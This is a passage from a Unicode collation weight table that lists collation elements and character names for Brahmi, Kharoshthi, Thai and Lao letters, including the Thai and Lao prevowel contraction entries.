[.2BF6.0020.0002] # BRAHMI LETTER II +11009 ; [.2BF7.0020.0002] # BRAHMI LETTER U +1100A ; [.2BF8.0020.0002] # BRAHMI LETTER UU +1100B ; [.2BF9.0020.0002] # BRAHMI LETTER VOCALIC R +1100C ; [.2BFA.0020.0002] # BRAHMI LETTER VOCALIC RR +1100D ; [.2BFB.0020.0002] # BRAHMI LETTER VOCALIC L +1100E ; [.2BFC.0020.0002] # BRAHMI LETTER VOCALIC LL +1100F ; [.2BFD.0020.0002] # BRAHMI LETTER E +11010 ; [.2BFE.0020.0002] # BRAHMI LETTER AI +11011 ; [.2BFF.0020.0002] # BRAHMI LETTER O +11012 ; [.2C00.0020.0002] # BRAHMI LETTER AU +11013 ; [.2C01.0020.0002] # BRAHMI LETTER KA +11014 ; [.2C02.0020.0002] # BRAHMI LETTER KHA +11015 ; [.2C03.0020.0002] # BRAHMI LETTER GA +11016 ; [.2C04.0020.0002] # BRAHMI LETTER GHA +11017 ; [.2C05.0020.0002] # BRAHMI LETTER NGA +11018 ; [.2C06.0020.0002] # BRAHMI LETTER CA +11019 ; [.2C07.0020.0002] # BRAHMI LETTER CHA +1101A ; [.2C08.0020.0002] # BRAHMI LETTER JA +1101B ; [.2C09.0020.0002] # BRAHMI LETTER JHA +1101C ; [.2C0A.0020.0002] # BRAHMI LETTER NYA +1101D ; [.2C0B.0020.0002] # BRAHMI LETTER TTA +1101E ; [.2C0C.0020.0002] # BRAHMI LETTER TTHA +1101F ; [.2C0D.0020.0002] # BRAHMI LETTER DDA +11020 ; [.2C0E.0020.0002] # BRAHMI LETTER DDHA +11021 ; [.2C0F.0020.0002] # BRAHMI LETTER NNA +11022 ; [.2C10.0020.0002] # BRAHMI LETTER TA +11023 ; [.2C11.0020.0002] # BRAHMI LETTER THA +11024 ; [.2C12.0020.0002] # BRAHMI LETTER DA +11025 ; [.2C13.0020.0002] # BRAHMI LETTER DHA +11026 ; [.2C14.0020.0002] # BRAHMI LETTER NA +11027 ; [.2C15.0020.0002] # BRAHMI LETTER PA +11028 ; [.2C16.0020.0002] # BRAHMI LETTER PHA +11029 ; [.2C17.0020.0002] # BRAHMI LETTER BA +1102A ; [.2C18.0020.0002] # BRAHMI LETTER BHA +1102B ; [.2C19.0020.0002] # BRAHMI LETTER MA +1102C ; [.2C1A.0020.0002] # BRAHMI LETTER YA +1102D ; [.2C1B.0020.0002] # BRAHMI LETTER RA +1102E ; [.2C1C.0020.0002] # BRAHMI LETTER LA +1102F ; [.2C1D.0020.0002] # BRAHMI LETTER VA +11030 ; [.2C1E.0020.0002] # BRAHMI LETTER SHA +11031 ; [.2C1F.0020.0002] # BRAHMI LETTER SSA +11032 ; [.2C20.0020.0002] # BRAHMI LETTER SA +11033 ; [.2C21.0020.0002] # BRAHMI LETTER HA +11003 ; [.2C22.0020.0002] # BRAHMI SIGN JIHVAMULIYA +11004 ; [.2C23.0020.0002] # BRAHMI SIGN UPADHMANIYA +11034 ; [.2C24.0020.0002] # BRAHMI LETTER LLA +11035 ; [.2C25.0020.0002] # BRAHMI LETTER OLD TAMIL LLLA +11036 ; [.2C26.0020.0002] # BRAHMI LETTER OLD TAMIL RRA +11037 ; [.2C27.0020.0002] # BRAHMI LETTER OLD TAMIL NNNA +11038 ; [.2C28.0020.0002] # BRAHMI VOWEL SIGN AA +11039 ; [.2C29.0020.0002] # BRAHMI VOWEL SIGN BHATTIPROLU AA +1103A ; [.2C2A.0020.0002] # BRAHMI VOWEL SIGN I +1103B ; [.2C2B.0020.0002] # BRAHMI VOWEL SIGN II +1103C ; [.2C2C.0020.0002] # BRAHMI VOWEL SIGN U +1103D ; [.2C2D.0020.0002] # BRAHMI VOWEL SIGN UU +1103E ; [.2C2E.0020.0002] # BRAHMI VOWEL SIGN VOCALIC R +1103F ; [.2C2F.0020.0002] # BRAHMI VOWEL SIGN VOCALIC RR +11040 ; [.2C30.0020.0002] # BRAHMI VOWEL SIGN VOCALIC L +11041 ; [.2C31.0020.0002] # BRAHMI VOWEL SIGN VOCALIC LL +11042 ; [.2C32.0020.0002] # BRAHMI VOWEL SIGN E +11043 ; [.2C33.0020.0002] # BRAHMI VOWEL SIGN AI +11044 ; [.2C34.0020.0002] # BRAHMI VOWEL SIGN O +11045 ; [.2C35.0020.0002] # BRAHMI VOWEL SIGN AU +11046 ; [.2C36.0020.0002] # BRAHMI VIRAMA +1107F ; [.2C37.0020.0002] # BRAHMI NUMBER JOINER +10A00 ; [.2C38.0020.0002] # KHAROSHTHI LETTER A +10A01 ; [.2C39.0020.0002] # KHAROSHTHI VOWEL SIGN I +10A02 ; [.2C3A.0020.0002] # KHAROSHTHI VOWEL SIGN U +10A03 ; [.2C3B.0020.0002] # KHAROSHTHI VOWEL SIGN VOCALIC R +10A05 ; [.2C3C.0020.0002] # KHAROSHTHI VOWEL SIGN E +10A06 ; [.2C3D.0020.0002] # KHAROSHTHI VOWEL SIGN O +10A0C ; [.2C3E.0020.0002] # KHAROSHTHI VOWEL LENGTH MARK +10A10 ; [.2C3F.0020.0002] # KHAROSHTHI LETTER KA +10A11 ; [.2C40.0020.0002] # KHAROSHTHI LETTER KHA +10A12 ; [.2C41.0020.0002] # KHAROSHTHI LETTER GA +10A13 ; [.2C42.0020.0002] # KHAROSHTHI LETTER GHA +10A15 ; [.2C43.0020.0002] # KHAROSHTHI LETTER CA +10A16 ; [.2C44.0020.0002] # KHAROSHTHI LETTER CHA +10A17 ; [.2C45.0020.0002] # KHAROSHTHI LETTER JA +10A19 ; [.2C46.0020.0002] # KHAROSHTHI LETTER NYA +10A1A ; [.2C47.0020.0002] # KHAROSHTHI LETTER TTA +10A1B ; [.2C48.0020.0002] # KHAROSHTHI LETTER TTHA +10A1C ; [.2C49.0020.0002] # KHAROSHTHI LETTER DDA +10A1D ; [.2C4A.0020.0002] # KHAROSHTHI LETTER DDHA +10A1E ; [.2C4B.0020.0002] # KHAROSHTHI LETTER NNA +10A1F ; [.2C4C.0020.0002] # KHAROSHTHI LETTER TA +10A20 ; [.2C4D.0020.0002] # KHAROSHTHI LETTER THA +10A21 ; [.2C4E.0020.0002] # KHAROSHTHI LETTER DA +10A22 ; [.2C4F.0020.0002] # KHAROSHTHI LETTER DHA +10A23 ; [.2C50.0020.0002] # KHAROSHTHI LETTER NA +10A24 ; [.2C51.0020.0002] # KHAROSHTHI LETTER PA +10A25 ; [.2C52.0020.0002] # KHAROSHTHI LETTER PHA +10A26 ; [.2C53.0020.0002] # KHAROSHTHI LETTER BA +10A27 ; [.2C54.0020.0002] # KHAROSHTHI LETTER BHA +10A28 ; [.2C55.0020.0002] # KHAROSHTHI LETTER MA +10A29 ; [.2C56.0020.0002] # KHAROSHTHI LETTER YA +10A2A ; [.2C57.0020.0002] # KHAROSHTHI LETTER RA +10A2B ; [.2C58.0020.0002] # KHAROSHTHI LETTER LA +10A2C ; [.2C59.0020.0002] # KHAROSHTHI LETTER VA +10A2D ; [.2C5A.0020.0002] # KHAROSHTHI LETTER SHA +10A2E ; [.2C5B.0020.0002] # KHAROSHTHI LETTER SSA +10A2F ; [.2C5C.0020.0002] # KHAROSHTHI LETTER SA +10A30 ; [.2C5D.0020.0002] # KHAROSHTHI LETTER ZA +10A31 ; [.2C5E.0020.0002] # KHAROSHTHI LETTER HA +10A32 ; [.2C5F.0020.0002] # KHAROSHTHI LETTER KKA +10A33 ; [.2C60.0020.0002] # KHAROSHTHI LETTER TTTHA +10A3F ; [.2C61.0020.0002] # KHAROSHTHI VIRAMA +0E01 ; [.2C62.0020.0002] # THAI CHARACTER KO KAI +0E40 0E01 ; [.2C62.0020.0002][.2C9C.0020.0002] # +0E41 0E01 ; [.2C62.0020.0002][.2C9D.0020.0002] # +0E42 0E01 ; [.2C62.0020.0002][.2C9E.0020.0002] # +0E43 0E01 ; [.2C62.0020.0002][.2C9F.0020.0002] # +0E44 0E01 ; [.2C62.0020.0002][.2CA0.0020.0002] # +0E02 ; [.2C63.0020.0002] # THAI CHARACTER KHO KHAI +0E40 0E02 ; [.2C63.0020.0002][.2C9C.0020.0002] # +0E41 0E02 ; [.2C63.0020.0002][.2C9D.0020.0002] # +0E42 0E02 ; [.2C63.0020.0002][.2C9E.0020.0002] # +0E43 0E02 ; [.2C63.0020.0002][.2C9F.0020.0002] # +0E44 0E02 ; [.2C63.0020.0002][.2CA0.0020.0002] # +0E03 ; [.2C64.0020.0002] # THAI CHARACTER KHO KHUAT +0E40 0E03 ; [.2C64.0020.0002][.2C9C.0020.0002] # +0E41 0E03 ; [.2C64.0020.0002][.2C9D.0020.0002] # +0E42 0E03 ; [.2C64.0020.0002][.2C9E.0020.0002] # +0E43 0E03 ; [.2C64.0020.0002][.2C9F.0020.0002] # +0E44 0E03 ; [.2C64.0020.0002][.2CA0.0020.0002] # +0E04 ; [.2C65.0020.0002] # THAI CHARACTER KHO KHWAI +0E40 0E04 ; [.2C65.0020.0002][.2C9C.0020.0002] # +0E41 0E04 ; [.2C65.0020.0002][.2C9D.0020.0002] # +0E42 0E04 ; [.2C65.0020.0002][.2C9E.0020.0002] # +0E43 0E04 ; [.2C65.0020.0002][.2C9F.0020.0002] # +0E44 0E04 ; [.2C65.0020.0002][.2CA0.0020.0002] # +0E05 ; [.2C66.0020.0002] # THAI CHARACTER KHO KHON +0E40 0E05 ; [.2C66.0020.0002][.2C9C.0020.0002] # +0E41 0E05 ; [.2C66.0020.0002][.2C9D.0020.0002] # +0E42 0E05 ; [.2C66.0020.0002][.2C9E.0020.0002] # +0E43 0E05 ; [.2C66.0020.0002][.2C9F.0020.0002] # +0E44 0E05 ; [.2C66.0020.0002][.2CA0.0020.0002] # +0E06 ; [.2C67.0020.0002] # THAI CHARACTER KHO RAKHANG +0E40 0E06 ; [.2C67.0020.0002][.2C9C.0020.0002] # +0E41 0E06 ; [.2C67.0020.0002][.2C9D.0020.0002] # +0E42 0E06 ; [.2C67.0020.0002][.2C9E.0020.0002] # +0E43 0E06 ; [.2C67.0020.0002][.2C9F.0020.0002] # +0E44 0E06 ; [.2C67.0020.0002][.2CA0.0020.0002] # +0E07 ; [.2C68.0020.0002] # THAI CHARACTER NGO NGU +0E40 0E07 ; [.2C68.0020.0002][.2C9C.0020.0002] # +0E41 0E07 ; [.2C68.0020.0002][.2C9D.0020.0002] # +0E42 0E07 ; [.2C68.0020.0002][.2C9E.0020.0002] # +0E43 0E07 ; [.2C68.0020.0002][.2C9F.0020.0002] # +0E44 0E07 ; [.2C68.0020.0002][.2CA0.0020.0002] # +0E08 ; [.2C69.0020.0002] # THAI CHARACTER CHO CHAN +0E40 0E08 ; [.2C69.0020.0002][.2C9C.0020.0002] # +0E41 0E08 ; [.2C69.0020.0002][.2C9D.0020.0002] # +0E42 0E08 ; [.2C69.0020.0002][.2C9E.0020.0002] # +0E43 0E08 ; [.2C69.0020.0002][.2C9F.0020.0002] # +0E44 0E08 ; [.2C69.0020.0002][.2CA0.0020.0002] # +0E09 ; [.2C6A.0020.0002] # THAI CHARACTER CHO CHING +0E40 0E09 ; [.2C6A.0020.0002][.2C9C.0020.0002] # +0E41 0E09 ; [.2C6A.0020.0002][.2C9D.0020.0002] # +0E42 0E09 ; [.2C6A.0020.0002][.2C9E.0020.0002] # +0E43 0E09 ; [.2C6A.0020.0002][.2C9F.0020.0002] # +0E44 0E09 ; [.2C6A.0020.0002][.2CA0.0020.0002] # +0E0A ; [.2C6B.0020.0002] # THAI CHARACTER CHO CHANG +0E40 0E0A ; [.2C6B.0020.0002][.2C9C.0020.0002] # +0E41 0E0A ; [.2C6B.0020.0002][.2C9D.0020.0002] # +0E42 0E0A ; [.2C6B.0020.0002][.2C9E.0020.0002] # +0E43 0E0A ; [.2C6B.0020.0002][.2C9F.0020.0002] # +0E44 0E0A ; [.2C6B.0020.0002][.2CA0.0020.0002] # +0E0B ; [.2C6C.0020.0002] # THAI CHARACTER SO SO +0E40 0E0B ; [.2C6C.0020.0002][.2C9C.0020.0002] # +0E41 0E0B ; [.2C6C.0020.0002][.2C9D.0020.0002] # +0E42 0E0B ; [.2C6C.0020.0002][.2C9E.0020.0002] # +0E43 0E0B ; [.2C6C.0020.0002][.2C9F.0020.0002] # +0E44 0E0B ; [.2C6C.0020.0002][.2CA0.0020.0002] # +0E0C ; [.2C6D.0020.0002] # THAI CHARACTER CHO CHOE +0E40 0E0C ; [.2C6D.0020.0002][.2C9C.0020.0002] # +0E41 0E0C ; [.2C6D.0020.0002][.2C9D.0020.0002] # +0E42 0E0C ; [.2C6D.0020.0002][.2C9E.0020.0002] # +0E43 0E0C ; [.2C6D.0020.0002][.2C9F.0020.0002] # +0E44 0E0C ; [.2C6D.0020.0002][.2CA0.0020.0002] # +0E0D ; [.2C6E.0020.0002] # THAI CHARACTER YO YING +0E40 0E0D ; [.2C6E.0020.0002][.2C9C.0020.0002] # +0E41 0E0D ; [.2C6E.0020.0002][.2C9D.0020.0002] # +0E42 0E0D ; [.2C6E.0020.0002][.2C9E.0020.0002] # +0E43 0E0D ; [.2C6E.0020.0002][.2C9F.0020.0002] # +0E44 0E0D ; [.2C6E.0020.0002][.2CA0.0020.0002] # +0E0E ; [.2C6F.0020.0002] # THAI CHARACTER DO CHADA +0E40 0E0E ; [.2C6F.0020.0002][.2C9C.0020.0002] # +0E41 0E0E ; [.2C6F.0020.0002][.2C9D.0020.0002] # +0E42 0E0E ; [.2C6F.0020.0002][.2C9E.0020.0002] # +0E43 0E0E ; [.2C6F.0020.0002][.2C9F.0020.0002] # +0E44 0E0E ; [.2C6F.0020.0002][.2CA0.0020.0002] # +0E0F ; [.2C70.0020.0002] # THAI CHARACTER TO PATAK +0E40 0E0F ; [.2C70.0020.0002][.2C9C.0020.0002] # +0E41 0E0F ; [.2C70.0020.0002][.2C9D.0020.0002] # +0E42 0E0F ; [.2C70.0020.0002][.2C9E.0020.0002] # +0E43 0E0F ; [.2C70.0020.0002][.2C9F.0020.0002] # +0E44 0E0F ; [.2C70.0020.0002][.2CA0.0020.0002] # +0E10 ; [.2C71.0020.0002] # THAI CHARACTER THO THAN +0E40 0E10 ; [.2C71.0020.0002][.2C9C.0020.0002] # +0E41 0E10 ; [.2C71.0020.0002][.2C9D.0020.0002] # +0E42 0E10 ; [.2C71.0020.0002][.2C9E.0020.0002] # +0E43 0E10 ; [.2C71.0020.0002][.2C9F.0020.0002] # +0E44 0E10 ; [.2C71.0020.0002][.2CA0.0020.0002] # +0E11 ; [.2C72.0020.0002] # THAI CHARACTER THO NANGMONTHO +0E40 0E11 ; [.2C72.0020.0002][.2C9C.0020.0002] # +0E41 0E11 ; [.2C72.0020.0002][.2C9D.0020.0002] # +0E42 0E11 ; [.2C72.0020.0002][.2C9E.0020.0002] # +0E43 0E11 ; [.2C72.0020.0002][.2C9F.0020.0002] # +0E44 0E11 ; [.2C72.0020.0002][.2CA0.0020.0002] # +0E12 ; [.2C73.0020.0002] # THAI CHARACTER THO PHUTHAO +0E40 0E12 ; [.2C73.0020.0002][.2C9C.0020.0002] # +0E41 0E12 ; [.2C73.0020.0002][.2C9D.0020.0002] # +0E42 0E12 ; [.2C73.0020.0002][.2C9E.0020.0002] # +0E43 0E12 ; [.2C73.0020.0002][.2C9F.0020.0002] # +0E44 0E12 ; [.2C73.0020.0002][.2CA0.0020.0002] # +0E13 ; [.2C74.0020.0002] # THAI CHARACTER NO NEN +0E40 0E13 ; [.2C74.0020.0002][.2C9C.0020.0002] # +0E41 0E13 ; [.2C74.0020.0002][.2C9D.0020.0002] # +0E42 0E13 ; [.2C74.0020.0002][.2C9E.0020.0002] # +0E43 0E13 ; [.2C74.0020.0002][.2C9F.0020.0002] # +0E44 0E13 ; [.2C74.0020.0002][.2CA0.0020.0002] # +0E14 ; [.2C75.0020.0002] # THAI CHARACTER DO DEK +0E40 0E14 ; [.2C75.0020.0002][.2C9C.0020.0002] # +0E41 0E14 ; [.2C75.0020.0002][.2C9D.0020.0002] # +0E42 0E14 ; [.2C75.0020.0002][.2C9E.0020.0002] # +0E43 0E14 ; [.2C75.0020.0002][.2C9F.0020.0002] # +0E44 0E14 ; [.2C75.0020.0002][.2CA0.0020.0002] # +0E15 ; [.2C76.0020.0002] # THAI CHARACTER TO TAO +0E40 0E15 ; [.2C76.0020.0002][.2C9C.0020.0002] # +0E41 0E15 ; [.2C76.0020.0002][.2C9D.0020.0002] # +0E42 0E15 ; [.2C76.0020.0002][.2C9E.0020.0002] # +0E43 0E15 ; [.2C76.0020.0002][.2C9F.0020.0002] # +0E44 0E15 ; [.2C76.0020.0002][.2CA0.0020.0002] # +0E16 ; [.2C77.0020.0002] # THAI CHARACTER THO THUNG +0E40 0E16 ; [.2C77.0020.0002][.2C9C.0020.0002] # +0E41 0E16 ; [.2C77.0020.0002][.2C9D.0020.0002] # +0E42 0E16 ; [.2C77.0020.0002][.2C9E.0020.0002] # +0E43 0E16 ; [.2C77.0020.0002][.2C9F.0020.0002] # +0E44 0E16 ; [.2C77.0020.0002][.2CA0.0020.0002] # +0E17 ; [.2C78.0020.0002] # THAI CHARACTER THO THAHAN +0E40 0E17 ; [.2C78.0020.0002][.2C9C.0020.0002] # +0E41 0E17 ; [.2C78.0020.0002][.2C9D.0020.0002] # +0E42 0E17 ; [.2C78.0020.0002][.2C9E.0020.0002] # +0E43 0E17 ; [.2C78.0020.0002][.2C9F.0020.0002] # +0E44 0E17 ; [.2C78.0020.0002][.2CA0.0020.0002] # +0E18 ; [.2C79.0020.0002] # THAI CHARACTER THO THONG +0E40 0E18 ; [.2C79.0020.0002][.2C9C.0020.0002] # +0E41 0E18 ; [.2C79.0020.0002][.2C9D.0020.0002] # +0E42 0E18 ; [.2C79.0020.0002][.2C9E.0020.0002] # +0E43 0E18 ; [.2C79.0020.0002][.2C9F.0020.0002] # +0E44 0E18 ; [.2C79.0020.0002][.2CA0.0020.0002] # +0E19 ; [.2C7A.0020.0002] # THAI CHARACTER NO NU +0E40 0E19 ; [.2C7A.0020.0002][.2C9C.0020.0002] # +0E41 0E19 ; [.2C7A.0020.0002][.2C9D.0020.0002] # +0E42 0E19 ; [.2C7A.0020.0002][.2C9E.0020.0002] # +0E43 0E19 ; [.2C7A.0020.0002][.2C9F.0020.0002] # +0E44 0E19 ; [.2C7A.0020.0002][.2CA0.0020.0002] # +0E1A ; [.2C7B.0020.0002] # THAI CHARACTER BO BAIMAI +0E40 0E1A ; [.2C7B.0020.0002][.2C9C.0020.0002] # +0E41 0E1A ; [.2C7B.0020.0002][.2C9D.0020.0002] # +0E42 0E1A ; [.2C7B.0020.0002][.2C9E.0020.0002] # +0E43 0E1A ; [.2C7B.0020.0002][.2C9F.0020.0002] # +0E44 0E1A ; [.2C7B.0020.0002][.2CA0.0020.0002] # +0E1B ; [.2C7C.0020.0002] # THAI CHARACTER PO PLA +0E40 0E1B ; [.2C7C.0020.0002][.2C9C.0020.0002] # +0E41 0E1B ; [.2C7C.0020.0002][.2C9D.0020.0002] # +0E42 0E1B ; [.2C7C.0020.0002][.2C9E.0020.0002] # +0E43 0E1B ; [.2C7C.0020.0002][.2C9F.0020.0002] # +0E44 0E1B ; [.2C7C.0020.0002][.2CA0.0020.0002] # +0E1C ; [.2C7D.0020.0002] # THAI CHARACTER PHO PHUNG +0E40 0E1C ; [.2C7D.0020.0002][.2C9C.0020.0002] # +0E41 0E1C ; [.2C7D.0020.0002][.2C9D.0020.0002] # +0E42 0E1C ; [.2C7D.0020.0002][.2C9E.0020.0002] # +0E43 0E1C ; [.2C7D.0020.0002][.2C9F.0020.0002] # +0E44 0E1C ; [.2C7D.0020.0002][.2CA0.0020.0002] # +0E1D ; [.2C7E.0020.0002] # THAI CHARACTER FO FA +0E40 0E1D ; [.2C7E.0020.0002][.2C9C.0020.0002] # +0E41 0E1D ; [.2C7E.0020.0002][.2C9D.0020.0002] # +0E42 0E1D ; [.2C7E.0020.0002][.2C9E.0020.0002] # +0E43 0E1D ; [.2C7E.0020.0002][.2C9F.0020.0002] # +0E44 0E1D ; [.2C7E.0020.0002][.2CA0.0020.0002] # +0E1E ; [.2C7F.0020.0002] # THAI CHARACTER PHO PHAN +0E40 0E1E ; [.2C7F.0020.0002][.2C9C.0020.0002] # +0E41 0E1E ; [.2C7F.0020.0002][.2C9D.0020.0002] # +0E42 0E1E ; [.2C7F.0020.0002][.2C9E.0020.0002] # +0E43 0E1E ; [.2C7F.0020.0002][.2C9F.0020.0002] # +0E44 0E1E ; [.2C7F.0020.0002][.2CA0.0020.0002] # +0E1F ; [.2C80.0020.0002] # THAI CHARACTER FO FAN +0E40 0E1F ; [.2C80.0020.0002][.2C9C.0020.0002] # +0E41 0E1F ; [.2C80.0020.0002][.2C9D.0020.0002] # +0E42 0E1F ; [.2C80.0020.0002][.2C9E.0020.0002] # +0E43 0E1F ; [.2C80.0020.0002][.2C9F.0020.0002] # +0E44 0E1F ; [.2C80.0020.0002][.2CA0.0020.0002] # +0E20 ; [.2C81.0020.0002] # THAI CHARACTER PHO SAMPHAO +0E40 0E20 ; [.2C81.0020.0002][.2C9C.0020.0002] # +0E41 0E20 ; [.2C81.0020.0002][.2C9D.0020.0002] # +0E42 0E20 ; [.2C81.0020.0002][.2C9E.0020.0002] # +0E43 0E20 ; [.2C81.0020.0002][.2C9F.0020.0002] # +0E44 0E20 ; [.2C81.0020.0002][.2CA0.0020.0002] # +0E21 ; [.2C82.0020.0002] # THAI CHARACTER MO MA +0E40 0E21 ; [.2C82.0020.0002][.2C9C.0020.0002] # +0E41 0E21 ; [.2C82.0020.0002][.2C9D.0020.0002] # +0E42 0E21 ; [.2C82.0020.0002][.2C9E.0020.0002] # +0E43 0E21 ; [.2C82.0020.0002][.2C9F.0020.0002] # +0E44 0E21 ; [.2C82.0020.0002][.2CA0.0020.0002] # +0E22 ; [.2C83.0020.0002] # THAI CHARACTER YO YAK +0E40 0E22 ; [.2C83.0020.0002][.2C9C.0020.0002] # +0E41 0E22 ; [.2C83.0020.0002][.2C9D.0020.0002] # +0E42 0E22 ; [.2C83.0020.0002][.2C9E.0020.0002] # +0E43 0E22 ; [.2C83.0020.0002][.2C9F.0020.0002] # +0E44 0E22 ; [.2C83.0020.0002][.2CA0.0020.0002] # +0E23 ; [.2C84.0020.0002] # THAI CHARACTER RO RUA +0E40 0E23 ; [.2C84.0020.0002][.2C9C.0020.0002] # +0E41 0E23 ; [.2C84.0020.0002][.2C9D.0020.0002] # +0E42 0E23 ; [.2C84.0020.0002][.2C9E.0020.0002] # +0E43 0E23 ; [.2C84.0020.0002][.2C9F.0020.0002] # +0E44 0E23 ; [.2C84.0020.0002][.2CA0.0020.0002] # +0E24 ; [.2C85.0020.0002] # THAI CHARACTER RU +0E40 0E24 ; [.2C85.0020.0002][.2C9C.0020.0002] # +0E41 0E24 ; [.2C85.0020.0002][.2C9D.0020.0002] # +0E42 0E24 ; [.2C85.0020.0002][.2C9E.0020.0002] # +0E43 0E24 ; [.2C85.0020.0002][.2C9F.0020.0002] # +0E44 0E24 ; [.2C85.0020.0002][.2CA0.0020.0002] # +0E25 ; [.2C86.0020.0002] # THAI CHARACTER LO LING +0E40 0E25 ; [.2C86.0020.0002][.2C9C.0020.0002] # +0E41 0E25 ; [.2C86.0020.0002][.2C9D.0020.0002] # +0E42 0E25 ; [.2C86.0020.0002][.2C9E.0020.0002] # +0E43 0E25 ; [.2C86.0020.0002][.2C9F.0020.0002] # +0E44 0E25 ; [.2C86.0020.0002][.2CA0.0020.0002] # +0E26 ; [.2C87.0020.0002] # THAI CHARACTER LU +0E40 0E26 ; [.2C87.0020.0002][.2C9C.0020.0002] # +0E41 0E26 ; [.2C87.0020.0002][.2C9D.0020.0002] # +0E42 0E26 ; [.2C87.0020.0002][.2C9E.0020.0002] # +0E43 0E26 ; [.2C87.0020.0002][.2C9F.0020.0002] # +0E44 0E26 ; [.2C87.0020.0002][.2CA0.0020.0002] # +0E27 ; [.2C88.0020.0002] # THAI CHARACTER WO WAEN +0E40 0E27 ; [.2C88.0020.0002][.2C9C.0020.0002] # +0E41 0E27 ; [.2C88.0020.0002][.2C9D.0020.0002] # +0E42 0E27 ; [.2C88.0020.0002][.2C9E.0020.0002] # +0E43 0E27 ; [.2C88.0020.0002][.2C9F.0020.0002] # +0E44 0E27 ; [.2C88.0020.0002][.2CA0.0020.0002] # +0E28 ; [.2C89.0020.0002] # THAI CHARACTER SO SALA +0E40 0E28 ; [.2C89.0020.0002][.2C9C.0020.0002] # +0E41 0E28 ; [.2C89.0020.0002][.2C9D.0020.0002] # +0E42 0E28 ; [.2C89.0020.0002][.2C9E.0020.0002] # +0E43 0E28 ; [.2C89.0020.0002][.2C9F.0020.0002] # +0E44 0E28 ; [.2C89.0020.0002][.2CA0.0020.0002] # +0E29 ; [.2C8A.0020.0002] # THAI CHARACTER SO RUSI +0E40 0E29 ; [.2C8A.0020.0002][.2C9C.0020.0002] # +0E41 0E29 ; [.2C8A.0020.0002][.2C9D.0020.0002] # +0E42 0E29 ; [.2C8A.0020.0002][.2C9E.0020.0002] # +0E43 0E29 ; [.2C8A.0020.0002][.2C9F.0020.0002] # +0E44 0E29 ; [.2C8A.0020.0002][.2CA0.0020.0002] # +0E2A ; [.2C8B.0020.0002] # THAI CHARACTER SO SUA +0E40 0E2A ; [.2C8B.0020.0002][.2C9C.0020.0002] # +0E41 0E2A ; [.2C8B.0020.0002][.2C9D.0020.0002] # +0E42 0E2A ; [.2C8B.0020.0002][.2C9E.0020.0002] # +0E43 0E2A ; [.2C8B.0020.0002][.2C9F.0020.0002] # +0E44 0E2A ; [.2C8B.0020.0002][.2CA0.0020.0002] # +0E2B ; [.2C8C.0020.0002] # THAI CHARACTER HO HIP +0E40 0E2B ; [.2C8C.0020.0002][.2C9C.0020.0002] # +0E41 0E2B ; [.2C8C.0020.0002][.2C9D.0020.0002] # +0E42 0E2B ; [.2C8C.0020.0002][.2C9E.0020.0002] # +0E43 0E2B ; [.2C8C.0020.0002][.2C9F.0020.0002] # +0E44 0E2B ; [.2C8C.0020.0002][.2CA0.0020.0002] # +0E2C ; [.2C8D.0020.0002] # THAI CHARACTER LO CHULA +0E40 0E2C ; [.2C8D.0020.0002][.2C9C.0020.0002] # +0E41 0E2C ; [.2C8D.0020.0002][.2C9D.0020.0002] # +0E42 0E2C ; [.2C8D.0020.0002][.2C9E.0020.0002] # +0E43 0E2C ; [.2C8D.0020.0002][.2C9F.0020.0002] # +0E44 0E2C ; [.2C8D.0020.0002][.2CA0.0020.0002] # +0E2D ; [.2C8E.0020.0002] # THAI CHARACTER O ANG +0E40 0E2D ; [.2C8E.0020.0002][.2C9C.0020.0002] # +0E41 0E2D ; [.2C8E.0020.0002][.2C9D.0020.0002] # +0E42 0E2D ; [.2C8E.0020.0002][.2C9E.0020.0002] # +0E43 0E2D ; [.2C8E.0020.0002][.2C9F.0020.0002] # +0E44 0E2D ; [.2C8E.0020.0002][.2CA0.0020.0002] # +0E2E ; [.2C8F.0020.0002] # THAI CHARACTER HO NOKHUK +0E40 0E2E ; [.2C8F.0020.0002][.2C9C.0020.0002] # +0E41 0E2E ; [.2C8F.0020.0002][.2C9D.0020.0002] # +0E42 0E2E ; [.2C8F.0020.0002][.2C9E.0020.0002] # +0E43 0E2E ; [.2C8F.0020.0002][.2C9F.0020.0002] # +0E44 0E2E ; [.2C8F.0020.0002][.2CA0.0020.0002] # +0E2F ; [.2C90.0020.0002] # THAI CHARACTER PAIYANNOI +0E30 ; [.2C91.0020.0002] # THAI CHARACTER SARA A +0E31 ; [.2C92.0020.0002] # THAI CHARACTER MAI HAN-AKAT +0E32 ; [.2C93.0020.0002] # THAI CHARACTER SARA AA +0E33 ; [.2C94.0020.0002] # THAI CHARACTER SARA AM +0E4D 0E32 ; [.2C94.0020.0002] # THAI CHARACTER SARA AM +0E34 ; [.2C95.0020.0002] # THAI CHARACTER SARA I +0E35 ; [.2C96.0020.0002] # THAI CHARACTER SARA II +0E36 ; [.2C97.0020.0002] # THAI CHARACTER SARA UE +0E37 ; [.2C98.0020.0002] # THAI CHARACTER SARA UEE +0E38 ; [.2C99.0020.0002] # THAI CHARACTER SARA U +0E39 ; [.2C9A.0020.0002] # THAI CHARACTER SARA UU +0E3A ; [.2C9B.0020.0002] # THAI CHARACTER PHINTHU +0E40 ; [.2C9C.0020.0002] # THAI CHARACTER SARA E +0E41 ; [.2C9D.0020.0002] # THAI CHARACTER SARA AE +0E42 ; [.2C9E.0020.0002] # THAI CHARACTER SARA O +0E43 ; [.2C9F.0020.0002] # THAI CHARACTER SARA AI MAIMUAN +0E44 ; [.2CA0.0020.0002] # THAI CHARACTER SARA AI MAIMALAI +0E45 ; [.2CA1.0020.0002] # THAI CHARACTER LAKKHANGYAO +0EDE ; [.2CA2.0020.0002] # LAO LETTER KHMU GO +0EC0 0EDE ; [.2CA2.0020.0002][.2CCD.0020.0002] # +0EC1 0EDE ; [.2CA2.0020.0002][.2CCE.0020.0002] # +0EC2 0EDE ; [.2CA2.0020.0002][.2CCF.0020.0002] # +0EC3 0EDE ; [.2CA2.0020.0002][.2CD0.0020.0002] # +0EC4 0EDE ; [.2CA2.0020.0002][.2CD1.0020.0002] # +0E81 ; [.2CA3.0020.0002] # LAO LETTER KO +0EC0 0E81 ; [.2CA3.0020.0002][.2CCD.0020.0002] # +0EC1 0E81 ; [.2CA3.0020.0002][.2CCE.0020.0002] # +0EC2 0E81 ; [.2CA3.0020.0002][.2CCF.0020.0002] # +0EC3 0E81 ; [.2CA3.0020.0002][.2CD0.0020.0002] # +0EC4 0E81 ; [.2CA3.0020.0002][.2CD1.0020.0002] # +0E82 ; [.2CA4.0020.0002] # LAO LETTER KHO SUNG +0EC0 0E82 ; [.2CA4.0020.0002][.2CCD.0020.0002] # +0EC1 0E82 ; 